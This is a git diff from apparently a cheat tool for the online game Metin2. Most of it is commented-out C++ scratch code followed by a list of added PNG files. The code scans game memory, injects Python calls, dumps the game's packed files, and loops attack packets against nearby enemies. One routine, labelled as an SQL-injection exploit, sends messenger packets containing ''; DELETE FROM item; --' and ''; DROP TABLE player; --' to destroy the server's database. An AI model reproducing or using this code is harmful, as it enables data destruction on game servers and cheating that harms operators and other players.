mCPythonCharacterManagerIsAliveVID; +//static const char* mCPythonPlayerSetAttackKeyState; +//static const char* mCPythonNetworkStreamSendItemPickUpPacket; +//static const char* mCInstanceBaseSetDirection; +//static const char* mCPythonPlayerNEW_GetMainActorPtr; +//static const char* mCPythonChatAppendChat; +//static const char* mCInstanceBaseIsMountingHorse; +//static const char* mCPythonNetworkStreamSendChatPacket; +//static const char* mCGraphicTextInstanceSetValue; +//static const char* mCPythonItemCreateItem; +//static const char* mCPythonNetworkStreamSendFishingPacket; +//static const char* mCPythonNetworkStreamSendExchangeStartPacket; +//static const char* mCPythonNetworkStreamSendExchangeItemAddPacket; +//static const char* mCPythonNetworkStreamSendExchangeAcceptPacket; +// +//static const char* mCInstanceBaseNEW_GetPixelPosition; +//static const char* mCInstanceBaseNEW_MoveToDestPixelPositionDirection; + + +//const char* Globals::bPyCallClassMemberFunc = NULL; +//const char* Globals::bCNetworkStreamRecv = NULL; +//const char* Globals::bCNetworkStreamSend = NULL; +//const char* Globals::bCPythonNetworkStreamSendItemUsePacket = NULL; +//const char* Globals::bCPythonPlayerNEW_Fishing = NULL; +//const char* Globals::bCPythonPlayerGetTargetVID = NULL; +//const char* Globals::bCPythonPlayerPickCloseItem = NULL; +//const char* Globals::bCPythonPlayerGetMainCharacterIndex = NULL; +//const char* Globals::bCPythonPlayerGetRace = NULL; +//const char* Globals::bCPythonPlayerIsSkillCoolTime = NULL; +//const char* Globals::bCPythonPlayerSetStatus = NULL; +//const char* Globals::bCPythonPlayerGetStatus = NULL; +//const char* Globals::bCPythonPlayerGetName = NULL; +//const char* Globals::bCPythonPlayerClickSkillSlot = NULL; +//const char* Globals::bCPythonPlayerGetItemIndex = NULL; +//const char* Globals::bCInstanceBaseGetNameString = NULL; +//const char* Globals::bCInstanceBaseGetInstanceType = NULL; +//const char* Globals::bCPythonItemGetPickedItemID = NULL; +//const char* Globals::bCPythonCharacterManagerGetInstancePtr = NULL; +//const char* Globals::bCInstanceBaseGetDistance = NULL; +//const char* Globals::bCPythonCharacterManagerIsAliveVID = NULL; +//const char* Globals::bCPythonPlayerSetAttackKeyState = NULL; +//const char* Globals::bCPythonNetworkStreamSendItemPickUpPacket = NULL; +//const char* Globals::bCInstanceBaseSetDirection = NULL; +//const char* Globals::bCPythonPlayerNEW_GetMainActorPtr = NULL; +//const char* Globals::bCPythonChatAppendChat = NULL; +//const char* Globals::bCInstanceBaseIsMountingHorse = NULL; +//const char* Globals::bCPythonNetworkStreamSendChatPacket = NULL; +//const char* Globals::bCGraphicTextInstanceSetValue = NULL; +// +// +//const char* Globals::bCPythonItemCreateItem = NULL; +// +// +//const char* Globals::bCPythonNetworkStreamSendFishingPacket = NULL; +//const char* Globals::bCPythonNetworkStreamSendExchangeStartPacket = NULL; +//const char* Globals::bCPythonNetworkStreamSendExchangeItemAddPacket = NULL; +//const char* Globals::bCPythonNetworkStreamSendExchangeAcceptPacket = NULL; +// +// +//const char* Globals::bCInstanceBaseNEW_GetPixelPosition = NULL; +//const char* Globals::bCInstanceBaseNEW_MoveToDestPixelPositionDirection = NULL; +// +////################################################################################################################################ +// +// +//const char* Globals::mPyCallClassMemberFunc = NULL; +//const char* Globals::mCNetworkStreamRecv = NULL; +//const char* Globals::mCNetworkStreamSend = NULL; +//const char* Globals::mCPythonNetworkStreamSendItemUsePacket = NULL; +//const char* Globals::mCPythonPlayerNEW_Fishing = NULL; +// +// +//const char* Globals::mCPythonPlayerGetTargetVID = NULL; +//const char* Globals::mCPythonPlayerPickCloseItem = NULL; +//const char* Globals::mCPythonPlayerGetMainCharacterIndex = NULL; +//const char* Globals::mCPythonPlayerGetRace = NULL; +//const char* Globals::mCPythonPlayerIsSkillCoolTime = NULL; +//const char* Globals::mCPythonPlayerSetStatus = NULL; +//const char* Globals::mCPythonPlayerGetStatus = NULL; +//const char* Globals::mCPythonPlayerGetName = NULL; +//const char* Globals::mCPythonPlayerClickSkillSlot = NULL; +//const char* Globals::mCPythonPlayerGetItemIndex = NULL; +//const char* Globals::mCInstanceBaseGetNameString = NULL; +//const char* Globals::mCInstanceBaseGetInstanceType = NULL; +//const char* Globals::mCPythonItemGetPickedItemID = NULL; +//const char* Globals::mCPythonCharacterManagerGetInstancePtr = NULL; +//const char* Globals::mCInstanceBaseGetDistance = NULL; +//const char* Globals::mCPythonCharacterManagerIsAliveVID = NULL; +//const char* Globals::mCPythonPlayerSetAttackKeyState = NULL; +//const char* Globals::mCPythonNetworkStreamSendItemPickUpPacket = NULL; +//const char* Globals::mCInstanceBaseSetDirection = NULL; +//const char* Globals::mCPythonPlayerNEW_GetMainActorPtr = NULL; +//const char* Globals::mCPythonChatAppendChat = NULL; +// +//const char* Globals::mCInstanceBaseIsMountingHorse = NULL; +//const char* Globals::mCPythonNetworkStreamSendChatPacket = NULL; +//const char* Globals::mCGraphicTextInstanceSetValue = NULL; +// +// +// +// +//const char* Globals::mCPythonItemCreateItem = NULL; +//const char* Globals::mCPythonNetworkStreamSendFishingPacket = NULL; +//const char* Globals::mCPythonNetworkStreamSendExchangeStartPacket = NULL; +//const char* Globals::mCPythonNetworkStreamSendExchangeItemAddPacket = NULL; +//const char* Globals::mCPythonNetworkStreamSendExchangeAcceptPacket = NULL; +// +// +//const char* Globals::mCInstanceBaseNEW_GetPixelPosition = NULL; +//const char* Globals::mCInstanceBaseNEW_MoveToDestPixelPositionDirection = NULL; + + +//const char* Globals::bCPythonPlayerInstance = NULL; +//const char* Globals::bCPythonNetworkStreamInstance = NULL; +//const char* Globals::bCPythonCharacterManagerInstance = NULL; +//const char* Globals::mCPythonPlayerInstance = NULL; +//const char* Globals::mCPythonNetworkStreamInstance = NULL; +//const char* Globals::mCPythonCharacterManagerInstance = NULL; + +//Timer timer; +//timer.start(); +//GameFunctionsCustom::GetVidsInDistance(2000); // 0 => 100 000 000 +//timer.stop(); +//int u = timer.milli(); + + + +/*DWORD k = *reinterpret_cast(0x009C79D8); +GameFunctions::PlayerSetAttackKeyState(true);*/ + +/*Misc::UpdateBalloon((HWND)this->winId(), L"huj", L"huj", NULL);*/ +//ui.graphicsViewStatusRaceImage->setStyleSheet("background: transparent"); +//ui.graphicsViewStatusRaceJob->setStyleSheet("background: transparent"); +// +//QImage *image = new QImage(":/MainForm/Resources/SHAMAN-F.PNG"); +//QGraphicsScene *scn = new QGraphicsScene(this); // object defined in header +//// scn->setSceneRect(ui->graphicsView->Rect()); // SOMETHING LIHE THIS +//ui.graphicsViewStatusRaceImage->setScene(scn); +//scn->addPixmap(QPixmap::fromImage(*image)); +//ui.graphicsViewStatusRaceImage->fitInView(scn->sceneRect(), Qt::IgnoreAspectRatio); + +//QImage *image2 = new QImage(":/MainForm/Resources/SS.png"); +//QGraphicsScene *scn2 = new QGraphicsScene(this); // object defined in header +//// scn->setSceneRect(ui->graphicsView->Rect()); // SOMETHING LIHE THIS +//ui.graphicsViewStatusRaceJob->setScene(scn2); +//scn2->addPixmap(QPixmap::fromImage(*image2)); +//ui.graphicsViewStatusRaceJob->fitInView(scn2->sceneRect(), Qt::IgnoreAspectRatio); + + +/*GameFunctions::InstanceBaseNEW_GetPixelPosition*/ + + + +/*for (int i = 0; i < 1000000; i++) +{ +DWORD *u = GameFunctions::CharacterManagerGetInstancePtr(i); +if (u) +{ +int type = GameFunctions::InstanceBaseGetInstanceType(u); +if (type == TYPE_ENEMY) +{ +int dis = 0; +dis = GameFunctions::InstanceBaseGetDistance(GameFunctions::PlayerNEW_GetMainActorPtr(), u);; +if (dis < 3500) +{ +GameFunctions::NetworkStreamSendFlyTargetingPacket(i, D3DVECTOR{ 0, 0, 0 }); +GameFunctions::NetworkStreamSendShootPacket(0); +Sleep(20); +} +} + + +} + +}*/ +/*int k = GameFunctions::PlayerGetItemIndex(0); +GameFunctions::NetworkStreamSendChatPacket("/safebox_password 000000.", 0);*/ +/*GameFunctions::NetworkStreamSendSendExchangeItemAddPacket(TItemPos(1, 0), 1); +GameFunctions::NetworkStreamSendSendExchangeAcceptPacket();*/ +/*GameFunctions::NetworkStreamSendItemDropPacketNew(0, 0, 0);*/ +//for (std::vector::iterator it = Globals::CEterFileDict.begin(); it != Globals::CEterFileDict.end(); ++it) { +// +// AppendFishBotLogNormal(it->c_str()); + +// /* std::cout << *it; ... */ +//} +/*int i = GameFunctions::PlayerGetTargetVID(); + + + + + +void Myfunction() +//{ +// PyRun_SimpleString("import net"); +// PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")"); +// PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")"); +// MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Exploit (Skype: sacadatt.amazon) ***", NULL); +//} + +GameFunctions::NetworkStreamSendUseSkillPacket(35, i); + +for (int j = 0; j < 1000; j++) +{ +GameFunctions::NetworkStreamSendFlyTargetingPacket(i, D3DVECTOR{ 0, 0, 0 }); + + +GameFunctions::NetworkStreamSendShootPacket(35); +Sleep(10); +}*/ + + +/*GameFunctions::NetworkStreamSendScriptAnswerPacket(0);*/ + + + + + + + +//int licznik = 0; +// +//for (std::vector::iterator it = Globals::CEterFileDict.begin(); it != Globals::CEterFileDict.end(); ++it) +//{ +// if (StringExtension::Contains(it->c_str(), ".py") || StringExtension::Contains(it->c_str(), ".txt")) +// { +// const void * pvData = NULL; +// /* AppendFishBotLogNormal(it->c_str());*/ +// DWORD rvMappedFile; +// Globals::CMappedFile(&rvMappedFile); +// Globals::CEterPackManagerGet((void*)Globals::iCEterPackManagerInstance, &rvMappedFile, it->c_str(), &pvData); +// +// DWORD size = Globals::CMappedFileSize(&rvMappedFile); +// /* char *bj = new char[size]; +// memcpy(&bj, &pvData, sizeof(bj));*/ +// string path = it->c_str(); +// string path2 = "./Dump/" + path; +// string path3 = StringExtension::ReplaceString(path2, "d:/", ""); +// boost::filesystem::path rootPath(path3); +// boost::system::error_code returnedError; +// +// boost::filesystem::create_directories(rootPath.parent_path(), returnedError); +// boost::filesystem::ofstream out(rootPath, std::ios::out | std::ios::binary); +// out.write((const char *)pvData, size); +// /*out << "Richar";*/ +// out.close(); +// /* }*/ +// licznik++; +// QMetaObject::invokeMethod(Globals::mainform, "AppendFishBotLog", Q_ARG(QString, path3.c_str()), Q_ARG(int, RED)); +// } +// +//} + + + + + +/*FileExtension::CreateDirectoryPath("d:/dump1/dump/dump");*/ + + +//for (std::vector::iterator it = Globals::CEterFileDict.begin(); it != Globals::CEterFileDict.end(); ++it) +//{ +// AppendFishBotLogNormal(it->c_str()); +//} + + +//} +//catch (const std::overflow_error& e) +//{ +// MessageBox(NULL, L"Error", StringExtension::GetWideChar(e.what()), 0); +//} +//catch (const std::runtime_error& e) +//{ +// MessageBox(NULL, L"Error", StringExtension::GetWideChar(e.what()), 0); +//} +//catch (const std::exception& e) +//{ +// MessageBox(NULL, L"Error", StringExtension::GetWideChar(e.what()), 0); +//} +//catch (...) +//{ +// MessageBox(NULL, L"Error", L"Jakis tam", 0); +//} + + +///*Sleep(2000); +// +// MessageBox(NULL, L"BPget", L"BreakePoint", 0);*/ + + + + + + +// +// +// +// +// +// +// +// +// +// +// +// +// +// +// +//MessageBox(NULL, L"BP2", L"BreakePoint", 0); +//Py_NoSiteFlag = 1; Py_FrozenFlag = 1; Py_IgnoreEnvironmentFlag = 1; Py_SetPythonHome(""); Py_SetProgramName(""); +//Py_Initialize(); +// +// +// +//PyObject * huji = ((PyObject*(__cdecl*)(const char *name))GetProcAddress(GetModuleHandleA("python27.dll"), "PyImport_AddModule"))("__main__"); +// +//PyObject * huj = ((PyObject*(__cdecl*)(PyObject*))GetProcAddress(GetModuleHandleA("python27.dll"), "PyModule_GetDict"))(huji); +// +// +///*((char* (__cdecl*)(PyObject *string))GetProcAddress(GetModuleHandleA("python27.dll"), "PyString_AsString"))(key);*/ +//PyObject *key, *value; +//Py_ssize_t pos = 0; +//while (((int(__cdecl*)(PyObject *p, Py_ssize_t *ppos, PyObject **pkey, PyObject **pvalue))GetProcAddress(GetModuleHandleA("python27.dll"), "PyDict_Next"))(huj, &pos, &key, &value)) +//{ +// char* ckey = ((char* (__cdecl*)(PyObject *string))GetProcAddress(GetModuleHandleA("python27.dll"), "PyString_AsString"))(key); +// +// AppendFishBotLogNormal(ckey); +//} +// +//PyObject * huj2 = ((PyObject*(__cdecl*)())GetProcAddress(GetModuleHandleA("python27.dll"), "PyImport_GetModuleDict"))(); +//while (((int(__cdecl*)(PyObject *p, Py_ssize_t *ppos, PyObject **pkey, PyObject **pvalue))GetProcAddress(GetModuleHandleA("python27.dll"), "PyDict_Next"))(huj2, &pos, &key, &value)) +//{ +// char* ckey = ((char* (__cdecl*)(PyObject *string))GetProcAddress(GetModuleHandleA("python27.dll"), "PyString_AsString"))(key); +// +// AppendFishBotLogNormal(ckey); +//} +// +// +//PyObject *key, *value; +//Py_ssize_t pos = 0; +//PyObject * huj2 = PyImport_GetModuleDict(); +//while (PyDict_Next(huj2, &pos, &key, &value)) +//{ +// char* ckey = PyString_AsString(key); +// +// AppendFishBotLogNormal(ckey); +//} +//PyRun_SimpleStringFlags("import bubu", NULL); +//} +// +// +//PyThreadState* u = ((PyThreadState * (__cdecl*)())GetProcAddress(GetModuleHandleA("python27.dll"), "PyThreadState_Get"))(); +// +//PyInterpreterState *interp = PyThreadState_GET()->interp; +///*interp = u->interp;*/ +//memcpy(interp, u->interp, sizeof(PyInterpreterState)); +// +///*((int (__cdecl*)(const char *, PyCompilerFlags *))GetProcAddress(GetModuleHandleA("python27.dll"), "PyRun_SimpleStringFlags"))("exec(compile(open('bubu.py').read(), 'bubu.py', 'exec'))", NULL);*/ +////PyRun_SimpleStringFlags("exec(compile(open('bubu.py').read(), 'bubu.py', 'exec'))", NULL); +//PyObject * huji = ((PyObject*(__cdecl*)(const char *name))GetProcAddress(GetModuleHandleA("python27.dll"), "PyImport_AddModule"))("__main__"); +// +//PyObject * huj = ((PyObject*(__cdecl*)(PyObject*))GetProcAddress(GetModuleHandleA("python27.dll"), "PyModule_GetDict"))(huji); +// +//PyObject * v = PyRun_StringFlags("exec(compile(open('bubu.py').read(), 'bubu.py', 'exec'))", Py_file_input, huj, huj, NULL); +// +//if (!v) +//{ +// // std::string str; +// +// // +// // PyObject * exc; +// // PyObject * v; +// // PyObject * tb; +// // const char * errStr; +// +// // PyErr_Fetch(&exc, &v, &tb); +// +// // if (PyString_Check(v)) +// // { +// // errStr = PyString_AS_STRING(v); +// // str.append("Error: "); +// // str.append(errStr); +// +// // AppendFishBotLogNormal(errStr); +// // } +// ///* Py_DECREF(exc); +// // Py_DECREF(v); +// // Py_DECREF(tb);*/ +// // AppendFishBotLogNormal(str.c_str()); +// +//string y = "|cFF005500|H|hR|cFFff0000|H|hu|cFF3a6eff|H|hc |cFF00ff00|H|hh|cFFff00ff|H|ha|cFF55ffff|H|hm |cFFaa55ff|H|hC |cFF732704|H|hi.|cFFffff7f|H|hS|cFF717313|H|ht|cFF212173|H|ha|cFFffffff|H|hr|cFFff0000|H|ha|cffff7f|H|hx|cFFff00ff|H|hX|caaff7f|H|hx|cFF00ff7f|H|hD|cFF23b7d4|H|hD"; +// +////string y = "|cFF005500|H|hK|cFFff0000|H|ht|cFF3a6eff|H|ho |cFF00ff00|H|hj|cFFff00ff|H|he|cFF55ffff|H|hs|cFFaa55ff|H|ht |cFF732704|H|ht|cFFffff7f|H|he|cFF717313|H|hc|cFF212173|H|hh|cFFffffff|H|hn|cFFff0000|H|hi|cffff7f|H|hk|cFFff00ff|H|hi|caaff7f|H|he|cFF00ff7f|H|hm|cFF23b7d4|H|h?"; +//GameFunctions::NetworkStreamSendChatPacket(y.c_str(), CHAT_TYPE_TALKING); +// +////map ik = GameFunctionsCustom::GetObjectListInDistance(6, 2000); +////for (TCharacterInstanceMap::iterator itor =ik.begin(); itor != ik.end(); itor++) +////{ +//// DWORD vid = itor->first; +// +// +//// +//// PlainTextEditAppend("plainTextEditTest",GameFunctions::InstanceBaseGetNameString(itor->second)); +////} + +//DWORD base = 0; +//HANDLE process = GetCurrentProcess(); +// +//MEMORY_BASIC_INFORMATION info; +//unsigned char* p = NULL; +//DWORD baseAdress; +//for (p = NULL; +// VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info); +// p += info.RegionSize) +//{ +// if ((info.State == MEM_COMMIT) && ((info.Type & MEM_MAPPED) || (info.Type & MEM_PRIVATE)) && (info.RegionSize == 0x01e27000)) { +// baseAdress = (DWORD)info.BaseAddress; +// Globals::hEntryBaseAddress = (DWORD)info.BaseAddress; +// } +//} +///*GameFunctions::PlayerClickSkillSlot(2);*/ +//DWORD kod = (DWORD)PatternScan2::FindPattern(Globals::hEntryBaseAddress, "8B 15 ? ? ? ? 89 55 FC 0F B7 45 F0"); +//DWORD pCPythonCharacterManagerInstance = *reinterpret_cast(kod + 0x2); +//Globals::iCPythonCharacterManagerInstance = *reinterpret_cast(pCPythonCharacterManagerInstance); +//ui.plainTextEditTest->appendHtml(to_string(Globals::hEntryBaseAddress).c_str()); +// +// +//ui.plainTextEditTest->appendHtml(to_string(pCPythonCharacterManagerInstance).c_str()); +// +///*string a = "Jest Metinow Gra W Zasiegu " + to_string(GameFunctionsCustom::GetObjectCountInDistance(TYPE_STONE, 10000)); +//string b = "Jestczy W Zasiegu " + to_string(GameFunctionsCustom::GetObjectCountInDistance(TYPE_PC, 10000)); +//string c = "Jest Npc W Zasiegu" + to_string(GameFunctionsCustom::GetObjectCountInDistance(TYPE_NPC, 10000)); +//string d = "Jest Potworow W Zasiegu" + to_string(GameFunctionsCustom::GetObjectCountInDistance(TYPE_ENEMY, 10000));*/ +////ui.plainTextEditTest->appendHtml(a.c_str()); +////ui.plainTextEditTest->appendHtml(b.c_str()); +////ui.plainTextEditTest->appendHtml(c.c_str()); +////ui.plainTextEditTest->appendHtml(d.c_str()); +//int t = 0; +//Globals::m_kAliveInstMap = *(TCharacterInstanceMap*)(Globals::iCPythonCharacterManagerInstance + 32)/* + 4*/; +//int index = PythonGameFunction::PlayerGetMainCharacterIndex(); +/*for (TCharacterInstanceMap::iterator itor = Globals::m_kAliveInstMap.begin(); itor != Globals::m_kAliveInstMap.end(); itor++) +{ + t++; +}*/ +//TCharacterInstanceMap m_kAliveInstMap = (*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 32)); + +/*TCharacterInstanceMap::iterator itor = *reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 32); +TCharacterInstanceMap::iterator itorEnd = *reinterpret_cast((Globals::iCPythonCharacterManagerInstance + 32)+4); + + + +for (; itor != itorEnd; ++itor){ + t++; + +} +*/ + +/*TCharacterInstanceMap& m_kAliveInstMap = *(TCharacterInstanceMap*)(Globals::iCPythonCharacterManagerInstance + 32); + +for (TCharacterInstanceMap::iterator itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) +{ + t++; +}*/ +//ui.plainTextEditTest->appendHtml(to_string(t).c_str()); +//DWORD kod = (DWORD)PatternScan::FindPattern("? ? ? ? 5D C3 CC CC CC CC CC CC 55 8B EC B8 ? ? ? ? 5D C3 CC CC CC CC CC CC 55 8B EC 83 EC 0C 89 4D FC 8B 4D FC E8 ? ? ? ? 50 E8 ? ? ? ? 83 C4 04 89 45 F8 E8 ? ? ? ? 89 45 F4 8D 45 F8 50 8D 4D F4 51 E8 ? ? ? ? 83 C4 08 8B 00 8B E5 5D C3"); +//DWORD pCPythonCharacterManagerInstance = *reinterpret_cast(kod); +//Globals::iCPythonCharacterManagerInstance = *reinterpret_cast(pCPythonCharacterManagerInstance); +//ui.plainTextEditTest->appendHtml(to_string(Globals::hEntryBaseAddress).c_str()); +// +//TCharacterInstanceMap m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 32) + 4)); +// +// +///*TCharacterInstanceMap::iterator itor = m_kAliveInstMap.begin(); +//TCharacterInstanceMap::iterator itore = m_kAliveInstMap.end();*/ +// +// +////TCharacterInstanceMap m_kAliveInstMap = *(TCharacterInstanceMap*)*reinterpret_cast((Globals::iCPythonCharacterManagerInstance + 32) ); +// +//TCharacterInstanceMap::iterator itor = m_kAliveInstMap.begin(); +//TCharacterInstanceMap::iterator itore = m_kAliveInstMap.end(); +// +//TCharacterInstanceMap *a = &m_kAliveInstMap; +//TCharacterInstanceMap::iterator *b = &itor; +//TCharacterInstanceMap::iterator *c = &itore; +//int t = 0; +//for (TCharacterInstanceMap::iterator itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) +//{ +// t++; +//} +/*GameFunctions::NetworkStreamSendUseSkillPacket(35, GameFunctions::PlayerGetTargetVID()); + + +for (int i = 0; i < 100; i++) +{ +GameFunctions::NetworkStreamSendFlyTargetingPacket(GameFunctions::PlayerGetTargetVID(), D3DVECTOR{ 0, 0, 0 }); + + + + } + + GameFunctions::NetworkStreamSendShootPacket(0);*/ + + /*bool o = GameFunctions::PlayerIsSkillActive(4); + bool jo = GameFunctions::PlayerIsSkillCoolTime(4);*/ + + + +//PyObject* Import(PyObject* self, PyObject* args) +//{ +// const char* tekst; +// if (PyArg_ParseTuple(args, "s", &tekst)) +// { +// +// typedef PyObject*(*tPyImport_GetModuleDict)(); +// tPyImport_GetModuleDict nPyImport_GetModuleDict = (tPyImport_GetModuleDict)(Globals::hEntryBaseAddress + 0x3C3F00); +// +// +// typedef PyObject*(*tPyDict_GetItemString)(PyObject *p, const char *key); +// static tPyDict_GetItemString nPyDict_GetItemString = (tPyDict_GetItemString)(Globals::hEntryBaseAddress + 0x39EF70); +// +// /*PyObject * huj2 = ((PyObject*(__cdecl*)())GetProcAddress(GetModuleHandleA("python27.dll"), "PyImport_GetModuleDict"))(); +// PyObject* modul = ((PyObject* (__cdecl*)(PyObject *p, const char *key))GetProcAddress(GetModuleHandleA("python27.dll"), "PyDict_GetItemString"))(huj2, tekst); +// */ +// +// PyObject * huj2 = nPyImport_GetModuleDict(); +// PyObject* modul = nPyDict_GetItemString(huj2, tekst); +// +// +// if (modul) +// { +// return Py_BuildValue("S", modul); +// } +// else +// { +// /* MessageBox(0, tekst, L"Error No Module", 0);*/ +// /*Py_RETURN_NONE;*/ +// } +// } +// /*Py_RETURN_NONE;*/ +//} +//PyMethodDef InitPython[] = { +// {"Import", Import, METH_VARARGS }, +// { NULL, NULL, NULL }, +//}; + + +//HANDLE process = GetCurrentProcess(); +// +//MEMORY_BASIC_INFORMATION info; +////unsigned char* p = NULL; +////DWORD baseAdress; +////for (p = NULL; +//// VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info); +//// p += info.RegionSize) +////{ +// if ((info.State == MEM_COMMIT) && ((info.Type & MEM_MAPPED) || (info.Type & MEM_PRIVATE)) && (info.RegionSize == 0x01e27000)) { +// baseAdress = (DWORD)info.BaseAddress; +// Globals::hEntryBaseAddress = (DWORD)info.BaseAddress; +// } +////} +//DWORD kod = (DWORD)PatternScan2::FindPattern(Globals::hEntryBaseAddress, "8B 15 ? ? ? ? 89 55 FC 0F B7 45 F0"); +//DWORD pCPythonCharacterManagerInstance = *reinterpret_cast(kod + 0x2); +//Globals::iCPythonCharacterManagerInstance = *reinterpret_cast(pCPythonCharacterManagerInstance); +// +// +///*ui.plainTextEditTest->appendHtml(to_string((Globals::iCPythonCharacterManagerInstance )).c_str()); +// +//DWORD tg = (Globals::iCPythonCharacterManagerInstance + 32); +//TCharacterInstanceMap::iterator itor = *reinterpret_cast(tg); +//TCharacterInstanceMap::iterator itorEnd = *reinterpret_cast(tg +6);*/ +// +//Globals::m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 14))); +// +//int t = 0; +// +//for (; itor != itor; ++itor) { +// +// t++; +//} +// +// +//ui.plainTextEditTest->appendHtml(to_string((t)).c_str()); + + +//GameFunctions::PlayerSetAttackKeyState(true); + + +//typedef std::map TNonPlayerDataMap; +// +//DWORD iNonPlayerInstance = *reinterpret_cast(Globals::hEntryBaseAddress + 0x2BC84C); /*2BC860*/ +//TNonPlayerDataMap m_NonPlayerDataMap = *(TNonPlayerDataMap*)(*reinterpret_cast(*reinterpret_cast(iNonPlayerInstance + 4) + 4)); +//for (TNonPlayerDataMap::iterator itor = m_NonPlayerDataMap.begin(); itor != m_NonPlayerDataMap.end(); itor++) +//{ +// DWORD y = itor->first; +// const char* u = itor->second->szName; +// int k = 0; +//} \ No newline at end of file diff --git a/EngineX-Pro/Resources/Additional.png b/EngineX-Pro/Resources/Additional.png new file mode 100644 index 0000000..afa6958 Binary files /dev/null and b/EngineX-Pro/Resources/Additional.png differ diff --git a/EngineX-Pro/Resources/Autopoty_OFF.png b/EngineX-Pro/Resources/Autopoty_OFF.png new file mode 100644 index 0000000..e50ab5d Binary files /dev/null and b/EngineX-Pro/Resources/Autopoty_OFF.png differ diff --git a/EngineX-Pro/Resources/Autopoty_ON.png b/EngineX-Pro/Resources/Autopoty_ON.png new file mode 100644 index 0000000..164dd9d Binary files /dev/null and b/EngineX-Pro/Resources/Autopoty_ON.png differ diff --git a/EngineX-Pro/Resources/Developer.png b/EngineX-Pro/Resources/Developer.png new file mode 100644 index 0000000..1471deb Binary files /dev/null and b/EngineX-Pro/Resources/Developer.png differ diff --git a/EngineX-Pro/Resources/Fishbot.png b/EngineX-Pro/Resources/Fishbot.png new file mode 100644 index 0000000..ba906e5 Binary files /dev/null and b/EngineX-Pro/Resources/Fishbot.png differ diff --git a/EngineX-Pro/Resources/Main.png b/EngineX-Pro/Resources/Main.png new file mode 100644 index 0000000..ae8389b Binary files /dev/null and b/EngineX-Pro/Resources/Main.png differ diff --git a/EngineX-Pro/Resources/Protection.png b/EngineX-Pro/Resources/Protection.png new file mode 100644 index 0000000..aec2b0c Binary files /dev/null and b/EngineX-Pro/Resources/Protection.png differ diff --git a/EngineX-Pro/Resources/Settings.png b/EngineX-Pro/Resources/Settings.png new file mode 100644 index 0000000..fe1651e Binary files /dev/null and b/EngineX-Pro/Resources/Settings.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_a_0.png b/EngineX-Pro/Resources/Skill/ninja_a_0.png new file mode 100644 index 0000000..ffc3dae Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_a_0.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_a_1.png b/EngineX-Pro/Resources/Skill/ninja_a_1.png new file mode 100644 index 0000000..e5d7dca Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_a_1.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_a_2.png b/EngineX-Pro/Resources/Skill/ninja_a_2.png new file mode 100644 index 0000000..aab5fb7 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_a_2.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_a_3.png b/EngineX-Pro/Resources/Skill/ninja_a_3.png new file mode 100644 index 0000000..587842c Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_a_3.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_a_4.png b/EngineX-Pro/Resources/Skill/ninja_a_4.png new file mode 100644 index 0000000..217e213 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_a_4.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_a_5.png b/EngineX-Pro/Resources/Skill/ninja_a_5.png new file mode 100644 index 0000000..f181d2e Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_a_5.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_d_0.png b/EngineX-Pro/Resources/Skill/ninja_d_0.png new file mode 100644 index 0000000..d445944 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_d_0.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_d_1.png b/EngineX-Pro/Resources/Skill/ninja_d_1.png new file mode 100644 index 0000000..6735eb9 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_d_1.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_d_2.png b/EngineX-Pro/Resources/Skill/ninja_d_2.png new file mode 100644 index 0000000..61ed68c Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_d_2.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_d_3.png b/EngineX-Pro/Resources/Skill/ninja_d_3.png new file mode 100644 index 0000000..e6fd88f Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_d_3.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_d_4.png b/EngineX-Pro/Resources/Skill/ninja_d_4.png new file mode 100644 index 0000000..fe45fc4 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_d_4.png differ diff --git a/EngineX-Pro/Resources/Skill/ninja_d_5.png b/EngineX-Pro/Resources/Skill/ninja_d_5.png new file mode 100644 index 0000000..f181d2e Binary files /dev/null and b/EngineX-Pro/Resources/Skill/ninja_d_5.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_d_0.png b/EngineX-Pro/Resources/Skill/shaman_d_0.png new file mode 100644 index 0000000..79ffa86 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_d_0.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_d_1.png b/EngineX-Pro/Resources/Skill/shaman_d_1.png new file mode 100644 index 0000000..c03cc54 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_d_1.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_d_2.png b/EngineX-Pro/Resources/Skill/shaman_d_2.png new file mode 100644 index 0000000..3212597 Binary files /dev/null and b/EngineX-Pro/Resources/Skill/shaman_d_2.png differ diff --git a/EngineX-Pro/Resources/Skill/shaman_d_3.png 